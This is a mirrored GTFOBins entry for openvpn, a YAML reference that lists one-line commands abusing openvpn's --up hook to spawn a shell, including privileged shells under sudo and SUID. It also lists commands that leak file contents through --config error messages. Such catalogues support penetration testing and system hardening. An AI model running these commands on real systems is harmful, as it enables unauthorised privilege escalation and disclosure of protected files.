mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
c299dc3a52
Related #171.
26 lines
889 B
Markdown
26 lines
889 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
|
|
file-read:
|
|
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
|
|
code: |
|
|
LFILE=file_to_read
|
|
openvpn --config "$LFILE"
|
|
suid:
|
|
- code: |
|
|
./openvpn --dev null --script-security 2 --up '/bin/sh -p -c "sh -p"'
|
|
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
|
|
code: |
|
|
LFILE=file_to_read
|
|
./openvpn --config "$LFILE"
|
|
sudo:
|
|
- code: |
|
|
sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
|
|
- description: The file is actually parsed and the first partial wrong line is returned in an error message.
|
|
code: |
|
|
LFILE=file_to_read
|
|
sudo openvpn --config "$LFILE"
|
|
---
|